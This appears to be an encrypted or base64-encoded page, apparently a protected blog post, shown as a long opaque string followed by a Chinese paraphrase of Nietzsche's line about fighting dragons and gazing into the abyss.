3h8DmBNwefLpIzV/vD2cH6M1zrPtHqHq03mk8b+P7L8eGz9RP19AGf+rNnP/0kBmYwU+qppHGVhZRKQfsoL3YnfLQZmfBcfxu+4FrIZU3LrhFwDYQhu5ZVnbXblPzc5rt8WH9btl2p2R2Vb3uDI+zwvp4kFT11+zV2OB0GdruDL/RYtak78JPsFxv3+FNYaVz8Kh+r9ukfPuWEP1X7/XiGL/gHUpyhy8iyA9Ph5R0+w/c4xON52ulTEr2f0WvVfhHCUgbt1ads2lvVPnLjRRBe4Xf5qCYIoVRU/KqMY5RicXJuvw1GwZzrFOUzb45zqLk/BAFhEly7PB0/nPB3DuNO59n+nFBHXqEitHQtykFA6kMYT7QkY/+VvWlcKcPavCEGz6QCHfQPq3PO5JCw/m6pIWHBkLCh965r9oVdxR1L9QKf1K+KhZ17hT3rdNjl9kY8Fn07CEHSRNbjowiFyaRZArQrMi1ZVGVYSNKW3Yem/hMSsWaEjC8JiMiLumQ0Q59rdusCCBEjUhRLFS+qkBrjWAcgX6LZoPqcs+QT1gjqZcsRSipdaFE6/+3DViBqo7KS9V3fF3qz9ia94cqMb3XR9igOdbbjEP4N5KfONqolOx9wrmxt98IOWoLQA3Au/X09GNDfvcWghSMuvwGf2wjzkmreEmMOJDfEDR0ygB7CtkG6QYCbBgBrS7FQW9MrVQZCYqNZh9ws4QaxrIN0XRuRmaa2sj//o23XksVUR1bBSSJ2whGqrrs935leQdNyQ0/eqKoEaG6xNmt5eJbOuRAnKMv2BhG/TRXA9QcILWNv4VIFzxXGG/QVrkQt0QKYPkpAaZVCWI4FSb52Q7S/LGO9OQI1ZWhItMZPbMUuoelRI8eVzyCYDzrHRyjqTeMOdISe9vd6vder14H6zvHBwfZGryPhqFzRGH83ORX4IDXukN0EmwLpxHyiOYnQl7AbQRNNjfABfCrbv61P1gfsdctrRcQeVPtFFHz03MWp9ycIkYlYmDTEAcilGioDXgmxCF6WU0vyeUPD+COwP84zotWTdRGyEtr3bjiJ9rChMtJsceukx7HKKC3e7MuaMVvJKeucIQRvOEERnzdw3JgDRo5VRpredojqbTGItvkyhzTRBhGJoq7K+xWPvUioFKwOLqtcXPKdnuu3rfcObKDFOkozqr4Si2WTMgDT8FKJbsGtbggszA7fy54SrK1UFBb/2919+fLEuuSdz7Pu+R6aEKSz6sqNd8dn+5QTG1OOQGwk+EVPOBdqLUZTI9+2WeJMBfd7zeSQAc8xrIdMmThBwGpGnZMUqW1CLaHff2rR4nOXPvo7CIJYHf2VYPVQNjxtpr1lWO+5pY/gEXD2FHjnE4C7lPtSDGGrZaWngXMyA1flKEihceBng7gthFrg9jCzpHiDtjylWLGtmNwtFze7SOkFcRxM0om4r36E7Y1dSWsFbctBxCIdIMrHCSv3pX5M2GjTpg1QCL7iKiFYpHXGErtkXklbHrHYfNuMxyli0ywtoFc8qMAT0NWsqKFOBXW7gLHL5xMhACY1HebW9MISVT1xHX6I/w01HT6McM7+xR2UVIIEZaqCPbmCXrB5VQbLq/LOufrWPhusVhN97H1fd2DFsNXtpZX5z/ZLXm1W6iO1bblvPKna7JPXhvs9o+nbR4lQzKGyI7bZ/tHe2W/v99v2ZO7H3swJY8q4DnKGY/OcRco5WRzn0d3pcnBjHkgNexr1yzLPGjL3fOYHzgCLvKc4cTSjFVrmZvvZM8rnmU8odXNrDCqDC/ZU8sOYkEyi/xomlOskLTEgcJLmlqxKaBm64xb7IBZn1FqWqU6yuAeI9JlKzGAybhCXVWabee1KWx5eousPS9TrpsaqNMNUg/nZHRkQ3EMh6bC+kULKez+FXE1WSKEuaezflEveVAgasLFXW3VvWM4oD1GHr3SGO6TRh8xVzCd0cBzDzu+BNy3jSXCSdoc6wDykqGyIx+FcIQ56mmcZlCMBiFC9GAAkfaXvOtPy8kK4zX5hETz5uwoYg5DTNRpIIElSFH6JBUZC6EbBPESd+JBrOvG8CRvVCq1KCpNQ7y3GMOTKaztDNxhCNqlIQJhamw3xlAc+Vxv15hNem1nfDyIsQZ3vCabAPFmvsWTHFCnbs1LEOm3WqP9z859PGs8AsebtFs1C2EkNy/Y/GrXmEJXjEdvQYFkFddWvXthSu63he/Ls6T9/WgUZAbIKqb3f5aJajSgkh5D8kiDRsgEUJr7Ilcppz8eHlVAQwQv7gdVv9up4ZNZuy8eSh+Mo0shMYHcT2N0E1s+FfZbAPktg13Nhf0pgf0pge7mwTxLYJwnsIBe2mcA2E9h+LmwjgW0ksDMFy/iHOde4ecivKm8dt9zsObNDm7WwkpU8oPozDrRYCvSEgJIPzwTqiHLdoOallZN8KpHmY22uQl9jFfrqz0z6niyn78lq9NWfrEBfvbkKfQ2TvqYgIM6nTyafGfTJIeVlpxhdezJMhtPaDs2IzoBvbsXUJvCYyqmDA6Cy3kl0MeUdlERmfIgOK6RR5OoqnVGphGT7vKQEmGVj90H4C2mt11+8WJ1W7sqYFSCivjNF14lKyiFZfC+X4JdcLwZjhssXrCUqJVk6WJkfWOLRJRQPX8jxos2w5Tn8WCw95Mr3iGCiczIpluCE7k6fOQlILDCp7v409lDpLyZOeWLGpQ97gYmo6ZylDyXonEzvIPqisRYXasziHPojDmSEBkUzpt5KlOLjhtRERbBXAZ64ZajICCdkoAGCZ4OrbLjcK4xgO6Z5GmCGot6jcUa5NK3iYYbogmtyF/bg83VFGlOpVEkCidhQ9WnNbjEhcfOTOASX0uF1lZFVHUys4rC5IswmEAuedZAWjOeTnKjKmIVSTTPxGx1+NrK9AV9FDmFHwptJVcaWTRMM44UTovkKHvO602tI4tq50+ODs0+7J/tiuBu5X3I5dsDev37PDpQwq5+M5oi6z5emtmy0prCzhR0Dn7MeGgSQ5kDze8YR0MUUTMghU+nNGcpnmexKb07iW/deJN60788H7hI8AqIIVf/DyVsWzWdoCQ4YMlImsKnfFep/u/LchqGIrWxj04ipHOTYWZufUVaK5HjuN8FFW9SndpHvxYkUIaCxbr27Pf3DZ2WrlgtfrtSsilVYRIRZhPdxDurT01/fFmaejYpzvoc9/Sh0l2UP+l5x/uPQAXneyvYib3VgWdQLIM8gu3oTfqqPp9XAvIimos8hYtwJK5Gc4y504me6lcVw7ieHyKM+Hhr69Js/DuDXxLnCY9sZnQbDKoEnxLPbeBzgYXI4793CH9i9wO/Rnx7C9JI/Tfg7JUzkXgIP6PxLSMTWZoCazjCh4cq5xjzBYBPz9gb9IHSRivk1riyIgAAG4cLt4XeYSyb4N7waz9H+HD+Nr8IgiK88YFrbm9HiGtHjcIG0ht5s4YVEzNhz/QFVlXyjgZlCrE40JY6HdoO5GKn3BpEzmGDmPvbACGFuvAFVbNQfu/0r/rhw4v4YE2+jiRPhxz8nPSB8RoQv8JwOnhYwq4vaTL3p745qi2AxRZUHesWqBlkAowMg+QdhIbfTG6JoeoV1wiGILU8w/mK2PvHQBE1gNFjqREgybANQbQgPKZwXNCHH1tMqz61bN2LLbT1IwYiGdhcW5eWPHAMZbJyjiz0dFVnJvLCMsmjsQEPkUybSHkoZZOUPPP+qdB2fMjm7ATUoUfBZh6+9MLQ30MhxQ82AOShg5YlDUkgVocBqeVE0d2tTN5Y4UOzIPTBNrdjJQpuZaZVFACurkW6Yq1ApiThE3ytfxdzETVG2SKQya/SB40rPRtpkdA8xYsT/FbS8JFTfQYo24P4SehJ8S4lSvbfRsVMmtga+1y9fMrJRBBRCPh0M2fpYsolZ+mt0FF7GZuRJLPPepUzh0pz/UXK+KBi4PJfDd3nkDXbqxhhrKVIZMLyGDMuRm5MCd+xKCD0b8qvIopmNkCLWFkulPJPMaEa4xP1+PEtcFZmph0aLeRVUa7VoOzWRSQu6k9bakdGw4R2zpdZ6XOmVnTx0zD63k39xezgoo5HC8TyezWHw1+gEsibMddu2vbVSLg+Ei/D12bu3bduqwaapX+jgYqoQK+gecxFexBcX9kXdqqC3C0j2vDrY5jJ2DfEuF/uF2MFheDwu6qPUpibb6uTBQ2pm/QtJJVzek/2R7IdQWse0os2PcLuszdhXYR4Nm/CtO+nCZed1k7D6kLahMXVORrMqR6NIh+3JSMX7sdfKeBbwb6d1sXj8b/LiZPEA/o2rbNyAf02oSO3Hu7VJ5H2AVRnH/mRmlJfCx3Ozr+XajxWVreZWWQ32WrUx/qP0UuNORya7KME0bkDGcVMA1cSQUavEXZ7nrhgNP/ywZn7nDl6kj37gCJH7YL0r92XYNNyCraO5U2Gn0pkZP4QaGkbt6hDQgkrQqR8WWSPxyx1UvjqmxQ8/F4SS5NEg6bm/jpZCcROXrTtjS291tqUHpjjrwu0VJ1t4caK9AWDdgwTY1Jbz2vL5cl86aXcmSyo+vtqHP6blBtkqPJ3dWEL9Q81uhE6jRuoFN+IkEdpNIGugbdaDevi5LVpcmqcydAmBORvNQXff7H6WJ6G41efNwmcqSTMUmNc8KS8FjtysH9q9JLqDlH7G4Nvcg5WCKZqa676pMr0WocbiQSuSNCy4TwmEcGziTB2QbIonPu5WMmt00csOPeTalrWl3E1WaJpo4cUo2uhJQrbso+5CP/dtKZFobQdNabs8zR10UdIAHAeHb/dBTh3al+c2zDxdbr0OS4WRwr+KAyLR7NYebINgwU+Oetcs4YXTg0FwtaVRxE0xDGKu9OBv3Ec0B3sfMMUuuQyhyrII/8D13VjVVnUf//wSCyIVoPRFUprDsnR6wPfqeqPSbtsbNqqg6UuLfiuj9kdZhaiywMcfoRRlXOpM6UGZ5uKREPJIgvKSuHgq0+gAuIwaBLIs5bIshf2r1SyMXViQaEmHLPxBxvOmQvChEilKTpt6DB9FVqNUAdPmsekSZFqDmpkSZSH87MynuMlNwdyJv3SGKFtFJoaTTHPeKW5RUTCVk+9QYxdlCp6k0Y5gqLcynonCfhvDAgzUAeajBD+VPqzk1nR4XzWH6Tpm+BM21bE+GJNJ24YpRshS/WB2aydEKy7G713CUC71q6WoWoIVM4f8fq0UVZKUR2KIDfCzqsGjEvL9jmLgvpkqWFgcIiv+HVd07lXQ4uhyiE69xHYYEEy91+QJwyPFilpFoFwcWNXSECabgXjTKFH8IrY6vKJ81uI11XDvIGr+XWBLMN2l+C/hF9UHCcvITDqpCVwfZkaiN8crRyc0t3vJkyGne2la/v+7d1je+S/2L9SdT5tG59ZyOreWDO/l/Yuq04Rm9HjHhV/pkr94s10ezNmuZByL9Z8SIBJeskmectqfV/+hGRtyrXe4kzEIKF1h/W79Nhl0X3sR7BDtGil3GVmr75BAZQtZ+cvh+92TvdeHH/dbrb2T/d2z/S27spxK/JEBXPUmXEanEao6r3fuK1DEsE4YJd17lcr9CGQbr3eA+w9y0VQZ7/T70GiMm20JImeVGhFBsFSGThyEyj+6Pw8j6PhD8V3+LRupKpCsSi4NaaCtQr3WHVxk4QSQP5V72+6U+OZr1Spk2xVQ+7iilxFfhXxdb1cl7O5+sHtA7lZi3uxMfn/9uBXUMtiCsu9WmUfm0/+9meS7RidWKJmFvnEwcAywkQ6hRc6Ch3bQQzrpHia5pw/5n/mUK8r05qpkdykibJq2AcrZ3pGGzfikiYX//nc2hUsUeSnEQXkJgrmUxu6RrkSVTMiMKENbWbihCTVMgJYwEPfRTJZgE+S8dHVZJKObrKSX3FclZyRvGdUCbVZE+AzMKY1cUvbNhmWzfdnKk/CQv3Vk2m5OKAH20CMrpt0hQ+2UCJS7Zm/pSgZhSbtF5MnYeVEQkkKWHpIjRHH81KjcrxbAWD2onJzgQWbZXou65fPd9T8vH1e65YvB18ZdZQ1PnvX4UaxEwNLw0yiaJ503LoXEIN6bl1KfIoL8qTAZmiGRU048W9Mhbci6pziqDdSiABQj08htqS2VYrZgpyV5hMoLKlYEVFdAOcE/uHsS9zWy0dnIlvbrGNnMNnyS7LpteCzZzSTGB7dspyCd+nUJ3DF2rArYnN2Y7gpK/aeOSbF5JRH98VXvpkPOx9v4bwXnfu5TaUWk6ulatTL1O3T083qrUalxX/0jSOOOp9+COfL+LMSMBsHfjnkSDLzhbRHud5RqYD9eTN1wg/xiv61EMq4rKhCN8Dy6wyQySt3lpkb8HV0SePQTmD0iafuW2AmIoA7wLjzTk0kmJ7iDEdohWOSFwED0AdZbR4VhF1Q0jDAvGAZmI1fLomz8BESfmWhKN4GrYtJGpUc85hDpHVVRDt67lCfru1slAid0Dcs9GCsVjQrsP0K51N

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
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